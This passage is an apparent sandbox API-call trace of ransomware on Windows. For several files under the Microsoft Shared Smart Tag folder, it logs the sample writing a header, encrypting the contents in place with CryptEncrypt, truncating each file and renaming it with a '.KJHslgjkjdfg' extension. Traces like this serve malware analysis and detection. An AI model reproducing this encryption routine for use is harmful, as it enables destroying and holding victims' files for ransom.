dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0167.756] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LISTS", cAlternateFileName="")) returned 1 [0167.756] GetProcessHeap () returned 0x990000 [0167.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0167.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0167.757] GetProcessHeap () returned 0x990000 [0167.757] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0167.757] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.757] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0167.757] GetProcessHeap () returned 0x990000 [0167.757] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9f99f0 [0167.758] GetProcessHeap () returned 0x990000 [0167.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x98) returned 0x9b2468 [0167.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0167.758] GetProcessHeap () returned 0x990000 [0167.758] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0167.758] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.758] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0167.758] GetProcessHeap () returned 0x990000 [0167.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x29a) returned 0x9f9c88 [0167.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0167.758] GetProcessHeap () returned 0x990000 [0167.759] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0167.759] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0167.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0167.759] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xa, lpOverlapped=0x0) returned 1 [0167.763] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0167.763] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.763] GetProcessHeap () returned 0x990000 [0167.763] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0167.763] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0167.763] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0167.763] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0167.763] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0167.763] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0167.763] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0167.764] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0167.764] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0167.764] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0167.764] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.764] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.764] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x22d6, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x22d6, lpOverlapped=0x0) returned 1 [0167.782] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x22e0) returned 1 [0167.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.782] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x22e0, lpOverlapped=0x0) returned 1 [0167.783] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0167.783] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x23a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.783] SetEndOfFile (hFile=0x114) returned 1 [0167.784] GetProcessHeap () returned 0x990000 [0167.784] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0167.784] GetProcessHeap () returned 0x990000 [0167.784] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0167.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.kjhslgjkjdfg")) returned 1 [0167.786] CloseHandle (hObject=0x114) returned 1 [0167.786] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0167.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0167.786] GetProcessHeap () returned 0x990000 [0167.786] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0167.786] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0167.786] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0167.786] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xc, lpOverlapped=0x0) returned 1 [0167.790] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0167.790] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.790] GetProcessHeap () returned 0x990000 [0167.790] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0167.790] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0167.790] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0167.790] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0167.790] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0167.790] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0167.790] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0167.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0167.790] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0167.790] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0167.790] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0167.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.790] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x734, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x734, lpOverlapped=0x0) returned 1 [0167.790] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x740, dwBufLen=0x740 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x740) returned 1 [0167.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.790] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x740, lpOverlapped=0x0) returned 1 [0167.791] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0167.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.791] SetEndOfFile (hFile=0x114) returned 1 [0167.793] GetProcessHeap () returned 0x990000 [0167.793] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0167.793] GetProcessHeap () returned 0x990000 [0167.793] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0167.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.kjhslgjkjdfg")) returned 1 [0167.968] CloseHandle (hObject=0x114) returned 1 [0167.968] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0167.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0167.970] GetProcessHeap () returned 0x990000 [0167.970] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0167.970] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0167.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0167.970] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x7, lpOverlapped=0x0) returned 1 [0169.069] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0169.069] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0169.069] GetProcessHeap () returned 0x990000 [0169.069] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0169.069] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0169.069] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0169.069] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0169.069] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0169.069] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0169.070] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0169.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0169.070] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0169.070] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0169.070] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0169.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.070] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9869, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x9869, lpOverlapped=0x0) returned 1 [0169.251] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x9870, dwBufLen=0x9870 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x9870) returned 1 [0169.251] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.251] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x9870, lpOverlapped=0x0) returned 1 [0169.252] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0169.252] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.252] SetEndOfFile (hFile=0x114) returned 1 [0169.254] GetProcessHeap () returned 0x990000 [0169.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0169.254] GetProcessHeap () returned 0x990000 [0169.254] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0169.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.kjhslgjkjdfg")) returned 1 [0169.258] CloseHandle (hObject=0x114) returned 1 [0169.258] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0169.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0169.259] GetProcessHeap () returned 0x990000 [0169.259] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0169.259] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0169.259] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0169.259] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x1, lpOverlapped=0x0) returned 1 [0170.598] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0170.598] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0170.598] GetProcessHeap () returned 0x990000 [0170.598] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0170.638] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0170.638] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0170.638] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0170.638] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0170.638] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: 